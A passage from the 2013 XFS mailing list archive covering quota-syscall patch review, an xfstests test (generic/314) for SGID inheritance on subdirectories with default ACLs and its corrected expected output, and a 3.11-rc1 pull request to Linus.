XFS_QMOPT_PQUOTA); > if (error) > goto error_rele; > diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c > index e4f8b2d..8f4b8bc 100644 > --- a/fs/xfs/xfs_qm_syscalls.c > +++ b/fs/xfs/xfs_qm_syscalls.c > @@ -296,8 +296,10 @@ xfs_qm_scall_trunc_qfiles( > > if (flags & XFS_DQ_USER) > error = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_uquotino); > - if (flags & (XFS_DQ_GROUP|XFS_DQ_PROJ)) > + if (flags & XFS_DQ_GROUP) > error2 = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_gquotino); > + if (flags & XFS_DQ_PROJ) > + error2 = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_pquotino); > > return error ? error : error2; > } > @@ -413,8 +415,10 @@ xfs_qm_scall_getqstat( > struct xfs_quotainfo *q = mp->m_quotainfo; > struct xfs_inode *uip = NULL; > struct xfs_inode *gip = NULL; > + struct xfs_inode *pip = NULL; > bool tempuqip = false; > bool tempgqip = false; > + bool temppqip = false; > > memset(out, 0, sizeof(fs_quota_stat_t)); > > @@ -424,6 +428,12 @@ xfs_qm_scall_getqstat( > out->qs_gquota.qfs_ino = NULLFSINO; > return (0); > } > + > + /* Q_XGETQSTAT doesn't have room for both group and project quotas */ > + if ((mp->m_qflags & (XFS_PQUOTA_ACCT | XFS_GQUOTA_ACCT)) == > + (XFS_PQUOTA_ACCT | XFS_GQUOTA_ACCT)) > + return -EINVAL; > + Lets keep the rest of the crew in the loop with what we do on the quotactls. On our call, I found myself in agreement that the idea of returning -EINVAL in the old interface when user, group, and project quotas are turned on simultaneously would be ok. But today I'm not so sure. Classic bpm waffling... ;) The quota rpm is separate from xfsprogs and could be much older; I think that there are those who will consider returning EINVAL here to be an API breakage. Maybe there are other options? - A sysctl to control which quota you get through the old group interface, when all three are turned on. - Only report user and qroup quotas through the old interface, even when all three are turned on. Probably the old interface should still work in some fashion with a newer filesystem, but there don't seem to be many wonderful solutions. Anyway, I'd like to have Dave's reviewed-by and Jan's ack at a minimum before pulling in these -EINVAL bits. If this really is ok, lets have everybodys sig to make it official. Thanks, Ben From sandeen@redhat.com Fri Jul 12 13:51:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7366E7F4E for ; Fri, 12 Jul 2013 13:51:40 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1E900AC002 for ; Fri, 12 Jul 2013 11:51:37 -0700 (PDT) X-ASG-Debug-ID: 1373655096-04bdf02b8eca2b90001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id UC5QWPhjHkW68v2u for ; Fri, 12 Jul 2013 11:51:36 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6CIpahM023410 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 12 Jul 2013 14:51:36 -0400 Received: from Liberator-563.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6CIpZq4002178 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Fri, 12 Jul 2013 14:51:35 -0400 Message-ID: <51E05037.5000207@redhat.com> Date: Fri, 12 Jul 2013 13:51:35 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Eric Sandeen CC: xfs-oss , Carlos Maiolino Subject: [PATCH V3] xfstests: generic/314, test sgid inheritance on subdirs References: <51A68175.9020202@redhat.com> <51A7B03E.2080909@sandeen.net> X-ASG-Orig-Subj: [PATCH V3] xfstests: generic/314, test sgid inheritance on subdirs In-Reply-To: <51A7B03E.2080909@sandeen.net> X-Enigmail-Version: 1.5.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373655096 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On XFS this test fails today due to some over-eager SGID removal in xfs core code; ext4 & btrfs pass. Document it in a test, will send xfs patch in a bit. Signed-off-by: Eric Sandeen --- p.s. I'm going to just flaunt my ignorance and say: I've never understood acls well. I'm hoping someone who does can help me write a better changelog, because this one is no good at all! V2: add missing source of "attr" file for _require_acls V3: use _ls_l to filter out the selinux "." - thanks to Carlos! renumber to 314 to make the merge easier diff --git a/tests/generic/314 b/tests/generic/314 new file mode 100755 index 0000000..3dee609 --- /dev/null +++ b/tests/generic/314 @@ -0,0 +1,68 @@ +#! /bin/bash +# FS QA Test No. 314 +# +# Test SGID inheritance on subdirectories +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 Red Hat, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/attr + +# real QA test starts here +_supported_fs generic +_require_acls +_require_user +_need_to_be_root + +rm -rf $TEST_DIR/$seq-dir + +# Make dir owned by qa user, and an unrelated group: +mkdir $TEST_DIR/$seq-dir +chown $qa_user:12345 $TEST_DIR/$seq-dir + +# Make parent dir sgid +chmod 2775 $TEST_DIR/$seq-dir + +# Make subdirs before & after acl set +su $qa_user -c "mkdir $TEST_DIR/$seq-dir/subdir" +su $qa_user -c "setfacl -m u:$qa_user:rwx,d:u:$qa_user:rwx $TEST_DIR/$seq-dir" +su $qa_user -c "mkdir $TEST_DIR/$seq-dir/subdir2" + +# Both subdirs should have inherited sgid +_ls_l $TEST_DIR/$seq-dir/ | _filter_test_dir | awk '{print $1,$NF}' + +status=0 +exit diff --git a/tests/generic/314.out b/tests/generic/314.out new file mode 100644 index 0000000..326a929 --- /dev/null +++ b/tests/generic/314.out @@ -0,0 +1,3 @@ +QA output created by 314 +drwxr-sr-x. TEST_DIR/314-dir/subdir +drwxrwsr-x+ TEST_DIR/314-dir/subdir2 diff --git a/tests/generic/group b/tests/generic/group index bd443c1..d5ec8d5 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -115,3 +115,4 @@ 310 auto 311 auto metadata log 312 auto quick prealloc enospc +314 auto quick acl _______________________________________________ xfs mailing list xfs@oss.sgi.com http://oss.sgi.com/mailman/listinfo/xfs From bpm@sgi.com Fri Jul 12 14:08:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id ACCD67F51 for ; Fri, 12 Jul 2013 14:08:44 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0553AAC003; Fri, 12 Jul 2013 12:08:39 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id A5C0B500B4B; Fri, 12 Jul 2013 14:08:37 -0500 (CDT) To: torvalds@linux-foundation.org Subject: [GIT PULL] XFS update (#2) for 3.11-rc1 Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com Message-Id: <20130712190837.A5C0B500B4B@whiskey.americas.sgi.com> Date: Fri, 12 Jul 2013 14:08:37 -0500 (CDT) From: bpm@sgi.com (Ben Myers) Hi Linus, Please pull a few more XFS updates for 3.11-rc1. Here are a fix for xfs_fsr, a cleanup in bulkstat, a cleanup in xfs_open_by_handle, updated mount options documentation, a cleanup in xfs_bmapi_write, a fix for the size of dquot log reservations, a fix for sgid inheritance when acls are in use, a fix for cleaning up quotainfo structures, and some more of the work which allows group and project quotas to be used together. We had a few more in this last quota category that we might have liked to get in, but it looks there are still a few items that need to be addressed. Thanks, Ben The following changes since commit 83e782e1a1cc0159888e58e14dfc8f3289663338: xfs: Remove incore use of XFS_OQUOTA_ENFD and XFS_OQUOTA_CHKD (2013-06-28 17:39:22 -0500) are available in the git repository at: git://oss.sgi.com/xfs/xfs.git tags/for-linus-v3.11-rc1-2 for you to fetch changes up to c31ad439e8d111bf911c9cc80619cebde411a44d: xfs: Fix the logic check for all quotas being turned off (2013-07-11 16:49:10 -0500) ---------------------------------------------------------------- xfs: update (#2) for 3.11-rc1 - fix for xfs_fsr returning -EINVAL - cleanup in xfs_bulkstat - cleanup in xfs_open_by_handle - update mount options documentation - clean up local format handling in xfs_bmapi_write - fix dquot log reservations which were too small - fix sgid inheritance for subdirectories when default acls are in use - add project quota fields to various structures - fix teardown of quotainfo structures when quotas are turned off ---------------------------------------------------------------- Carlos Maiolino (1): xfs: fix sgid inheritance for subdirectories inheriting default acls [V3] Chandra Seetharaman (2): xfs: Add pquota fields where gquota is used. xfs: Fix the logic check for all quotas being turned off Dave Chinner (3): xfs: update mount options documentation xfs: remove local fork format handling from xfs_bmapi_write() xfs: dquot log reservations are too small Eric Sandeen (1): xfs: use XFS_BMAP_BMDR_SPACE vs. XFS_BROOT_SIZE_ADJ Jie Liu (1): xfs: clean up unused codes at xfs_bulkstat() Yann Droneaud (1): xfs: use get_unused_fd_flags(0) instead of get_unused_fd() Documentation/filesystems/xfs.txt | 317 +++++++++++++++++++++++++------------- fs/xfs/xfs_attr_leaf.c | 2 + fs/xfs/xfs_bmap.c | 199 ++++++++++-------------- fs/xfs/xfs_bmap.h | 1 + fs/xfs/xfs_dinode.h | 3 - fs/xfs/xfs_dir2_block.c | 20 ++- fs/xfs/xfs_dquot.c | 15 +- fs/xfs/xfs_dquot.h | 7 +- fs/xfs/xfs_icache.c | 1 + fs/xfs/xfs_inode.c | 14 +- fs/xfs/xfs_inode.h | 1 + fs/xfs/xfs_ioctl.c | 16 +- fs/xfs/xfs_iops.c | 24 +-- fs/xfs/xfs_itable.c | 28 +--- fs/xfs/xfs_qm.c | 243 ++++++++++++++++++++--------- fs/xfs/xfs_qm.h | 20 ++- fs/xfs/xfs_qm_bhv.c | 10 +- fs/xfs/xfs_qm_syscalls.c | 24 ++- fs/xfs/xfs_quota.h | 65 ++++---- fs/xfs/xfs_symlink.c | 10 +- fs/xfs/xfs_trans_dquot.c | 35 +++-- fs/xfs/xfs_vnodeops.c | 13 +- 22 files changed, 644 insertions(+), 424 deletions(-) From cmaiolino@redhat.com Fri Jul 12 14:21:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8A4777F53 for ; Fri, 12 Jul 2013 14:21:31 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2EF79AC003 for ; Fri, 12 Jul 2013 12:21:31 -0700 (PDT) X-ASG-Debug-ID: 1373656890-04bdf0233fecf9d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id FyijOEPEgjBwPKgZ for ; Fri, 12 Jul 2013 12:21:30 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6CJLT02029357 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 12 Jul 2013 15:21:29 -0400 Received: from andromeda.usersys.redhat.com (ovpn-113-48.phx2.redhat.com [10.3.113.48]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6CJLP1e029739 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Fri, 12 Jul 2013 15:21:28 -0400 Date: Fri, 12 Jul 2013 16:21:24 -0300 From: Carlos Maiolino To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH V3] xfstests: generic/314, test sgid inheritance on subdirs Message-ID: <20130712192123.GA12444@andromeda.usersys.redhat.com> X-ASG-Orig-Subj: Re: [PATCH V3] xfstests: generic/314, test sgid inheritance on subdirs References: <51A68175.9020202@redhat.com> <51A7B03E.2080909@sandeen.net> <51E05037.5000207@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51E05037.5000207@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373656890 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi Eric, the 314.out file is wrong, it should have: total 4 drwxr-sr-x subdir drwxrwxr-x+ subdir2 On Fri, Jul 12, 2013 at 01:51:35PM -0500, Eric Sandeen wrote: > On XFS this test fails today due to some over-eager > SGID removal in xfs core code; ext4 & btrfs pass. > Document it in a test, will send xfs patch in a bit. > > Signed-off-by: Eric Sandeen > --- > > p.s. I'm going to just flaunt my ignorance and say: > I've never understood acls well. I'm hoping someone who does > can help me write a better changelog, because this one > is no good at all! > > V2: add missing source of "attr" file for _require_acls > > V3: use _ls_l to filter out the selinux "." - thanks to Carlos! > renumber to 314 to make the merge easier > > diff --git a/tests/generic/314 b/tests/generic/314 > new file mode 100755 > index 0000000..3dee609 > --- /dev/null > +++ b/tests/generic/314 > @@ -0,0 +1,68 @@ > +#! /bin/bash > +# FS QA Test No. 314 > +# > +# Test SGID inheritance on subdirectories > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2013 Red Hat, Inc. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + cd / > + rm -f $tmp.* > +} > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > +. ./common/attr > + > +# real QA test starts here > +_supported_fs generic > +_require_acls > +_require_user > +_need_to_be_root > + > +rm -rf $TEST_DIR/$seq-dir > + > +# Make dir owned by qa user, and an unrelated group: > +mkdir $TEST_DIR/$seq-dir > +chown $qa_user:12345 $TEST_DIR/$seq-dir > + > +# Make parent dir sgid > +chmod 2775 $TEST_DIR/$seq-dir > + > +# Make subdirs before & after acl set > +su $qa_user -c "mkdir $TEST_DIR/$seq-dir/subdir" > +su $qa_user -c "setfacl -m u:$qa_user:rwx,d:u:$qa_user:rwx $TEST_DIR/$seq-dir" > +su $qa_user -c "mkdir $TEST_DIR/$seq-dir/subdir2" > + > +# Both subdirs should have inherited sgid > +_ls_l $TEST_DIR/$seq-dir/ | _filter_test_dir | awk '{print $1,$NF}' > + > +status=0 > +exit > diff --git a/tests/generic/314.out b/tests/generic/314.out > new file mode 100644 > index 0000000..326a929 > --- /dev/null > +++ b/tests/generic/314.out > @@ -0,0 +1,3 @@ > +QA output created by 314 > +drwxr-sr-x. TEST_DIR/314-dir/subdir > +drwxrwsr-x+ TEST_DIR/314-dir/subdir2 > diff --git a/tests/generic/group b/tests/generic/group > index bd443c1..d5ec8d5 100644 > --- a/tests/generic/group > +++ b/tests/generic/group > @@ -115,3 +115,4 @@ > 310 auto > 311 auto metadata log > 312 auto quick prealloc enospc > +314 auto quick acl > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs -- Carlos From cmaiolino@redhat.com Fri Jul 12 14:46:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 746B87F55 for ; Fri, 12 Jul 2013 14:46:20 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 55E42304032 for ; Fri, 12 Jul 2013 12:46:20 -0700 (PDT) X-ASG-Debug-ID: 1373658379-04cbb0468feb0170001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id V5bB7ZolTNhazXUX for ; Fri, 12 Jul 2013 12:46:19 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6CJkJI6005514 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 12 Jul 2013 15:46:19 -0400 Received: from hades.maiolino.org.com (ovpn-113-29.phx2.redhat.com [10.3.113.29]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6CJkHDm009294 for ; Fri, 12 Jul 2013 15:46:18 -0400 From: Carlos Maiolino To: xfs@oss.sgi.com Subject: [PATCH V4] xfstests: generic/314, test sgid inheritance on subdirs Date: Fri, 12 Jul 2013 16:46:13 -0300 X-ASG-Orig-Subj: [PATCH V4] xfstests: generic/314, test sgid inheritance on subdirs Message-Id: <1373658373-8988-1-git-send-email-cmaiolino@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373658379 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Tests if subdirectories created on the filesystem will properly inherit sgid bit when this is set on the parent directory, once the process has the properly permissions to create a subdirectory, this, should inherit parent's sgid bit if this is set and irix_sgid_inherit sysctl is disabled. V2: add missing source of "attr" file for _require_acls V3: use _ls_l to filter out the selinux "." renumber to 314 to make the merge easier V4: fix 314.out to the correct output Thanks to Sandeen who have written this patch Signed-off-by: Eric Sandeen Signed-off-by: Carlos Maiolino --- tests/generic/314 | 68 +++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/314.out | 4 +++ tests/generic/group | 1 + 3 files changed, 73 insertions(+), 0 deletions(-) create mode 100755 tests/generic/314 create mode 100644 tests/generic/314.out diff --git a/tests/generic/314 b/tests/generic/314 new file mode 100755 index 0000000..2d34ea8 --- /dev/null +++ b/tests/generic/314 @@ -0,0 +1,68 @@ +#! /bin/bash +# FS QA Test No. 314 +# +# Test SGID inheritance on subdirectories +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 Red Hat, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/attr + +# real QA test starts here +_supported_fs generic +_require_acls +_require_user +_need_to_be_root + +rm -rf $TEST_DIR/$seq-dir + +# Make dir owned by qa user, and an unrelated group: +mkdir $TEST_DIR/$seq-dir +chown $qa_user:12345 $TEST_DIR/$seq-dir + +# Make parent dir sgid +chmod 2775 $TEST_DIR/$seq-dir + +# Make subdirs before & after acl set +su $qa_user -c "mkdir $TEST_DIR/$seq-dir/subdir" +su $qa_user -c "setfacl -m u:$qa_user:rwx,d:u:$qa_user:rwx $TEST_DIR/$seq-dir" +su $qa_user -c "mkdir $TEST_DIR/$seq-dir/subdir2" + +# Both subdirs should have inherited sgid +_ls_l $TEST_DIR/$seq-dir/ | _filter_test_dir | awk '{print $1,$NF}' + +status=0 +exit diff --git a/tests/generic/314.out b/tests/generic/314.out new file mode 100644 index 0000000..180be80 --- /dev/null +++ b/tests/generic/314.out @@ -0,0 +1,4 @@ +QA output created by 314 +total 4 +drwxr-sr-x subdir +drwxrwsr-x+ subdir2 diff --git a/tests/generic/group b/tests/generic/group index bd443c1..7c0ea25 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -115,3 +115,4 @@ 310 auto 311 auto metadata log 312 auto quick prealloc enospc +314 auto quick acl -- 1.7.1 From sekharan@us.ibm.com Fri Jul 12 15:32:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0805B7F58 for ; Fri, 12 Jul 2013 15:32:39 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 97951AC006 for ; Fri, 12 Jul 2013 13:32:35 -0700 (PDT) X-ASG-Debug-ID: 1373661151-04bdf02b8ecb28b0001-NocioJ Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.151]) by cuda.sgi.com with ESMTP id wDUHmvD5cBMWnXXC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 12 Jul 2013 13:32:31 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.151 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.151] Received: from /spool/local by e33.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Fri, 12 Jul 2013 20:32:30 -0000 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.151] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.151] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.151] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.151] Received: from d03dlp01.boulder.ibm.com (9.17.202.177) by e33.co.us.ibm.com (192.168.1.133) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Fri, 12 Jul 2013 20:32:30 -0000 Received: from d03relay01.boulder.ibm.com (d03relay01.boulder.ibm.com [9.17.195.226]) by d03dlp01.boulder.ibm.com (Postfix) with ESMTP id 352561FF001F for ; Fri, 12 Jul 2013 14:27:10 -0600 (MDT) Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245]) by d03relay01.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6CKWSPS141746 for ; Fri, 12 Jul 2013 14:32:29 -0600 Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1]) by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6CKZ3NQ032478 for ; Fri, 12 Jul 2013 14:35:03 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6CKZ2mb032450; Fri, 12 Jul 2013 14:35:03 -0600 Subject: Re: [PATCH] xfs: Start using pquotaino from the superblock. From: Chandra Seetharaman X-ASG-Orig-Subj: Re: [PATCH] xfs: Start using pquotaino from the superblock. Reply-To: sekharan@us.ibm.com To: Ben Myers Cc: XFS mailing list , Steven Whitehouse , adas@redhat.com, Dave Chinner , Jan Kara In-Reply-To: <20130712183030.GE20932@sgi.com> References: <1373593707.20769.11.camel@chandra-dt.ibm.com> <20130712183030.GE20932@sgi.com> Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Fri, 12 Jul 2013 15:32:27 -0500 Message-ID: <1373661147.20769.25.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071220-2398-0000-0000-00000057AD13 X-Barracuda-Connect: e33.co.us.ibm.com[32.97.110.151] X-Barracuda-Start-Time: 1373661151 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, 2013-07-12 at 13:30 -0500, Ben Myers wrote: > Hey Chandra, > > > @@ -591,6 +599,19 @@ xfs_sb_quota_from_disk(struct xfs_sb *sbp) > > sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? > > XFS_PQUOTA_CHKD : XFS_GQUOTA_CHKD; > > sbp->sb_qflags &= ~(XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD); > > + > > + if ((sbp->sb_qflags & XFS_PQUOTA_ACCT) && > > + (sbp->sb_gquotino != NULLFSINO)) { > > If project quota accounting bit is set in the super block > and > the group quot ino is not nullfsino.. > > That's weird. I would have expected to be able to assume that sb_gquotino is > not NULLFSINO if project quota accounting is on. Why was the check necessary? Thinking now, I should not have added the second part. (sbp->sb_qflags & XFS_PQUOTA_ACCT) should be sufficient. > > > + /* > > + * On disk superblock only has sb_gquotino, and incore > > + * superblock has both sb_gquotino and sb_pquotino. > > + * But, only one of them is supported at any point of time. > > + * So, if PQUOTA is set in disk superblock, copy over > > + * sb_gquotino to sb_pquotino. > > + */ > > + sbp->sb_pquotino = sbp->sb_gquotino; > > + sbp->sb_gquotino = NULLFSINO; > > + } > > } > > > > void > > > > diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c > > index d320794..1e2361d 100644 > > --- a/fs/xfs/xfs_qm.c > > +++ b/fs/xfs/xfs_qm.c > > @@ -834,6 +834,36 @@ xfs_qm_qino_alloc( > > int error; > > int committed; > > > > + *ip = NULL; > > + /* > > + * With superblock that doesn't have separate pquotino, we > > + * share an inode between gquota and pquota. If the on-disk > > + * superblock has GQUOTA and the filesystem is now mounted > > + * with PQUOTA, just use sb_gquotino for sb_pquotino and > > + * vice-versa. > > + */ > > + if (!xfs_sb_version_has_pquotino(&mp->m_sb) && > > + (flags & 